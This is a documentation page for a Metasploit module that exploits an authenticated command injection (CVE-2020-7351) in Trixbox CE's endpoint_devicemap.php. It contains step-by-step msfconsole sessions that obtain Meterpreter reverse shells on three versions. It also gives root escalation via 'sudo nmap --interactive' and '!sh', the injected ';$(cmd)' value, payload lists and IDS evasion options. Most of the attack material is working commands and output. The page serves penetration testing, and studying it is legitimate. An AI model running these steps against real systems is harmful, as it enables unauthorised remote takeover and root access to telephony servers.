TrixBox CE endpoint_devicemap.php Authenticated Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: TrixBox CE endpoint_devicemap.php Authenticated Command Execution
Module: exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
Source code: modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb
Disclosure date: 2020-04-28
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-7351
This module exploits an authenticated OS command injection vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4 inclusive in the "network" POST parameter of the "/maint/modules/endpointcfg/endpoint_devicemap.php" page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the "asterisk" user. Users can easily elevate their privileges to the "root" user however by executing "sudo nmap --interactive" followed by "!sh" from within nmap.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf exploit(trixbox_ce_endpoint_devicemap_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits an authenticated OS command injection vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4 inclusive in the "network" POST parameter of the "/maint/modules/endpointcfg/endpoint_devicemap.php" page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the "asterisk" user. Users can easily elevate their privileges to the "root" user however by executing "sudo nmap --interactive" followed by "!sh" from within nmap.
Installation And Setup
- Download the latest version of Trixbox CE (i.e. v2.8.0.4 ISO).
- Set up a new CentOS machine in VirtualBox or VMWare and load the ISO.
Be sure to disable any autosetup features of VMWare or VirtualBox.
Follow the install prompts and note the
rootpassword you choose to use. OncePackage Installationappears on the screen, wait for the system to finish rebooting several times, after which the following screen should be displayed:
CentOS release 4.3 (Final) Kernel 2.6.9-34.EL on an i686
asterisk1 login:
3. Log into via the terminal using the username `root` and the password
you set for the `root` user during installation.
4. A prompt similar to the following should be displayed:
For access to the trixbox web GUI use this URL: http://192.168.205.144
``
5. Once this prompt is displayed, take the IP address and browse
to the URL http://*IP ADDRESS*/maint/, then log in with the default
administrative credentials (maint:password`).
Verification Steps
Scenarios
Trixbox CE v2.8.0.4
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.8
rhosts => 192.168.1.8
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options
Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password to login with
HttpUsername maint yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.8 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Linux Dropper)
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.8:80 - Authenticating using "maint:password" credentials...
[+] 192.168.1.8:80 - Authenticated successfully.
[+] 192.168.1.8:80 - Trixbox CE v2.8.0.4 identified.
[*] 192.168.1.8:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.8:38680) at 2020-05-02 03:55:24 -0400
[*] Command Stager progress - 100.00% done (799/799 bytes)
meterpreter > sysinfo
Computer : trixbox1.localdomain
OS : CentOS 5.5 (Linux 2.6.18-164.11.1.el5)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > shell
Process 9259 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
Trixbox CE v2.4.0
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options
Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password to login with
HttpUsername maint yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Linux Dropper)
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.7:80 - Authenticating using "maint:password" credentials...
[+] 192.168.1.7:80 - Authenticated successfully.
[+] 192.168.1.7:80 - Trixbox CE v2.4.0 identified.
[*] 192.168.1.7:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.7:4478) at 2020-05-02 03:52:53 -0400
[*] Command Stager progress - 100.00% done (799/799 bytes)
meterpreter > sysinfo
Computer : trixbox1.localdomain
OS : CentOS 5 (Linux 2.6.18-53.1.4.el5)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > shell
Process 14144 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
Trixbox CE v1.2.0
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options
Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password to login with
HttpUsername maint yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Linux Dropper)
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set LHOST 192.168.205.1
LHOST => 192.168.205.1
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set SRVHOST 192.168.205.1
SRVHOST => 192.168.205.1
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148
RHOSTS => 192.168.205.148
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit
[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Trixbox CE v1.2.0 identified.
[*] 192.168.205.148:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.205.148
[*] Meterpreter session 1 opened (192.168.205.1:4444 -> 192.168.205.148:32775) at 2020-05-04 12:53:23 -0500
[*] Command Stager progress - 100.00% done (799/799 bytes)
meterpreter > sysinfo
Computer : asterisk1.local
OS : CentOS 4.4 (Linux 2.6.9-42.0.2.EL)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > shell
Process 5678 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
Privilege Elevation Steps
Once a shell has been gained as the asterisk user,
attackers can elevate their privileges to root by
executing the following commands:
sudo nmap --interactive
Starting Nmap V. 4.76 ( http://nmap.org )
Welcome to Interactive Mode -- press h for help
nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/trixbox_ce_endpoint_devicemap_rce exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show info
Name: TrixBox CE endpoint_devicemap.php Authenticated Command Execution
Module: exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-04-28
Provided by:
Anastasios Stasinopoulos ( <Anastasios Stasinopoulos (@ancst)>
Available targets:
Id Name
-- ----
0 Automatic (Linux Dropper)
1 Automatic (Unix In-Memory)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password to login with
HttpUsername maint yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits an authenticated OS command injection
vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4 inclusive
in the "network" POST parameter of the
"/maint/modules/endpointcfg/endpoint_devicemap.php" page. Successful
exploitation allows for arbitrary command execution on the
underlying operating system as the "asterisk" user. Users can easily
elevate their privileges to the "root" user however by executing
"sudo nmap --interactive" followed by "!sh" from within nmap.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-7351
https://github.com/rapid7/metasploit-framework/pull/13353
Module Options
This is a complete list of options available in the unix/webapp/trixbox_ce_endpoint_devicemap_rce exploit:
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options
Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password to login with
HttpUsername maint yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Linux Dropper)
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/trixbox_ce_endpoint_devicemap_rce exploit:
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show advanced
Module advanced options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/trixbox_ce_endpoint_devicemap_rce module can exploit:
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (Linux Dropper)
1 Automatic (Unix In-Memory)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/trixbox_ce_endpoint_devicemap_rce exploit:
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/chmod normal No Linux Chmod
21 payload/linux/x86/exec normal No Linux Execute Command
22 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
25 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
26 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
28 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
32 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
33 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
34 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
35 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
36 payload/linux/x86/read_file normal No Linux Read File
37 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
38 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
39 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
41 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
42 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
43 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
47 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
48 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
49 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
50 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/trixbox_ce_endpoint_devicemap_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- <PEER> - Unable to grab version of Trixbox CE installed on target!
- <PEER> - Authentication failed.
- <PEER> - The host responded with an unexpected status code: <RES.CODE>.
- Caught a Rex::ConnectionError in login() method. Connection failed.
- Connection failed.
- No response was received from <PEER> whilst in check(), check it is online and the target port is open!
- <PEER> - Connection failed whilst trying to perform the command injection.
- <PEER> - Response wasn't received within the expected period of time.
- <PEER> - Rex::ConnectionError caught in check(), could not connect to the target.
- No response was received from <PEER> whilst in exploit(), check it is online and the target port is open!
- <PEER> - The target is not vulnerable.
- Rex::ConnectionError caught in check(), could not connect to the target.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Unable to grab version of Trixbox CE installed on target!
Here is a relevant code snippet related to the "<PEER> - Unable to grab version of Trixbox CE installed on target!" error message:
78: def get_target(res)
79: version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
80: if version.nil?
81: version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
82: if version.nil?
83: print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
84: return nil
85: end
86: end
87: print_good("#{peer} - Trixbox CE v#{version} identified.")
88: if Rex::Version.new(version).between?(Rex::Version.new('2.6.0.0'), Rex::Version.new('2.8.0.4'))
<PEER> - Authentication failed.
Here is a relevant code snippet related to the "<PEER> - Authentication failed." error message:
112: end
113:
114: if res.code == 200
115: print_good("#{peer} - Authenticated successfully.")
116: elsif res.code == 401
117: print_error("#{peer} - Authentication failed.")
118: else
119: print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
120: end
121: return res
122: rescue ::Rex::ConnectionError
<PEER> - The host responded with an unexpected status code: <RES.CODE>.
Here is a relevant code snippet related to the "<PEER> - The host responded with an unexpected status code: <RES.CODE>." error message:
114: if res.code == 200
115: print_good("#{peer} - Authenticated successfully.")
116: elsif res.code == 401
117: print_error("#{peer} - Authentication failed.")
118: else
119: print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
120: end
121: return res
122: rescue ::Rex::ConnectionError
123: print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
124: return nil
Caught a Rex::ConnectionError in login() method. Connection failed.
Here is a relevant code snippet related to the "Caught a Rex::ConnectionError in login() method. Connection failed." error message:
118: else
119: print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
120: end
121: return res
122: rescue ::Rex::ConnectionError
123: print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
124: return nil
125: end
126:
127: def execute_command(cmd, _opts = {})
128: send_request_cgi({
Connection failed.
Here is a relevant code snippet related to the "Connection failed." error message:
132: 'vars_post' => {
133: 'network' => ";$(#{cmd})"
134: }
135: })
136: rescue ::Rex::ConnectionError
137: fail_with(Failure::Unreachable, 'Connection failed.')
138: end
139:
140: def check
141: res = login(user, pass)
142: unless res
No response was received from <PEER> whilst in check(), check it is online and the target port is open!
Here is a relevant code snippet related to the "No response was received from <PEER> whilst in check(), check it is online and the target port is open!" error message:
138: end
139:
140: def check
141: res = login(user, pass)
142: unless res
143: print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
144: return CheckCode::Detected
145: end
146: if res.code == 200
147: version = get_target(res)
148: if version.nil?
<PEER> - Connection failed whilst trying to perform the command injection.
Here is a relevant code snippet related to the "<PEER> - Connection failed whilst trying to perform the command injection." error message:
156: print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
157: t1 = Time.now.to_i
